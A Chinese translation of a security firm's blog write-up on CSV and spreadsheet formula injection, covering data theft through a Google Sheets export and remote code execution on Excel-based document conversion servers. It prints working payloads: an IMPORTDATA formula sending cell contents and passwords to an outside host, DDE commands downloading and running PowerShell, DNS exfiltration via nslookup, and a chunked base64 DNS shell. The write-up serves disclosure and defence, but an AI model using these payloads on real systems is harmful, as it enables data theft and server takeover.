在过去的一年中,我曾经遇到了两个基于CSV注入的服务器端攻击案例。第一种情况是Google表格注入导致的数据泄露,而第二种情况则展示了从公式注入到远程代码执行的方法。
案例1 Google表格注入
我们的一个客户创建了一个G-Suite集成应用程序,可以将当前应用程序的用户列表导出到Google云端硬盘中的电子表格来进行批量用户管理。然后,管理员可以编辑该Google电子表格并将文档重新上传到应用程序中以执行批量用户配置。
导出的电子表格中包含一些字段,例如每个用户的名字,姓氏和个人资料说明。该团队将用户的描述字段作为嵌入Payload(攻击负载)公式的攻击目标,而这些恶意的描述字段将用于构建导出电子表格。该公式将会执行和连接电子表格中的所有单元格(在本例中为A1-R18),并将数据泄露到我们的站点,还使用了IFERROR函数来屏蔽错误消息:1
2=IFERROR(IMPORTDATA(CONCAT("http://g.bishopfox.com:8000/save/",JOIN(",",B3:B18,C3:C18,D3:D18
,E3:E18,F3:F18,G3:G18,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3:O18,P3:P18,Q3:Q18,R3:R18))),"")
由于公式执行的结果依赖相关的变量,因此每次修改相关的单元格时该公式都会重新执行。这使得我们能够从导出的电子表格接收实时的数据流并更新到我们的服务器。例如,我们配置新用户时,会初始化密码,但是每次管理员完成编辑单元格(A1-R18)时,我们都会收到密码和电子表格的其余部分:
通过将嵌入Payload的公式注入到导出的电子表格中使用的值中(用户描述字段),管理员执行代码后,我们就能够记录表格中所有更新的数据。
总之,Google表格没有数据泄露保护。因此,在Google表格中打开软件生成的文档时请务必小心。
案例2 服务器端的公式注入导致远程代码执行
我们确定了两个易受通过公式注入执行远程代码的应用程序。这两个Web应用程序都是在上传过程中把上传的XLS*/CSV文档转换为图像文档,而这个转换过程主要是通过Windows的主机上的Excel软件完成的。
第一个应用程序
第一个问题是将Excel电子表格转换为图像意味着什么?如何处理公式?
当我们最开始研究这个服务时,我们使用了诸如 = SUM(1,1)之类的Payload,并且惊讶地看到在图像响应中评估的Payload为2。但是它们是使用缓存结果,还是服务器端动态计算公式的结果?
当我们上传了一个公式为 =NOW()的电子表格,马上返回了当前的时间戳。因此,我们可以知道公式是实时解析的!接下来,我们尝试通过使用Metasploit的exploit/multi/script/web_delivery的Payload来利用传统的客户端DDE攻击作为服务器端的攻击。
电子表格的Payload1
2
3=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.com/shell.ps1");
powershell -e $e'!A1
我们得到了一个shell。
通过shell,我们使用EC2元数据的URL来利用该计算机的身份来控制整个云环境中的资产。我们认为这是一个很厉害一次性shell,直到几个月后再次看到它…
第二个应用程序
此实例类似于之前基于上传的攻击手法,但是文档转换服务器具有TCP出口保护。因此,我们采用链式公式注入利用SensePost Powershell DNS Shell来获取交互式的shell。
在Metasploit web_delivery的Payload无法执行后,我们观察到了出口保护。于是,我们使用WEBSERVICE函数来探索出口规则。
1 | =WEBSERVICE(“http://bishopfox.com”) |
没有HTTP响应。1
=WEBSERVICE(“https://bishopfox.com”)
没有HTTP响应。1
=WEBSERVICE(“http://dnstest.bishopfox.com”)
收到DNS,但是DDE命令有执行吗?1
=CMD|’/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com ’|!A0
很好!我们有拿到PowerShell吗?1
=CMD|’/c powershell nslookup dnstest.17.bishopfox.com’|!A1
我们通过DDE公式注入获取的PowerShelll制作了一个DNS shell。DDE公式语法有255个字符常量的限制,我们在尝试创建符合限制的Payload字符串失败后,创建了一个链式命令,以块的形式传输Base64编码的SensePost DNS shell,如下所示:1
2
3
4=cmd|'/C echo|set /p="JHVybCA9ICJiaXNob3Bmb3guY29tIjtmdW5jdGlvbiBleGVjRE5TKA==" > C:\ProgramData\activePDF\Temp\a.enc'!A0
+cmd|'/C echo|set /p="ACQAYwBtAGQAKQAgAHsACgAkAGMAIAA9ACAAaQBlAHgAIAAkAGMAbQBkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkA" >> C:\ProgramData\activePDF\Temp\a.enc'!A0
+...omitted for brevity...
+cmd|'/C powershell -c "$a=Get-Content C:\ProgramData\activePDF\Temp\a.enc;powershell -e $a"'!A0
在将应用程序的所有部分写入磁盘后,最终的DDE命令会调用Payload(-e标志表示允许执行Base64编码的PowerShell脚本。或者,可以使用CertUtil.exe来解码Payload)。通过使用INFO/CELL公式命令来识别可写目录,我们可以识别当前工作目录和承载执行电子表格的目录。
结论
这些漏洞显示了新型的客户端漏洞,它们表现为服务器端漏洞。随着我们继续依赖SaaS,并将Office文档文件转换等任务转移到桌面环境之外,我们可以预期在服务器端攻击面上会出现更多客户端漏洞。
有关评估和修复这些漏洞的更多详细信息,请参阅我们的 “Formula Injection Cheat Sheet“。另外,查看六月份Empire Hacking NYC Meetup上展示的幻灯片。
参考链接
https://www.bishopfox.com/blog/2018/06/server-side-spreadsheet-injections/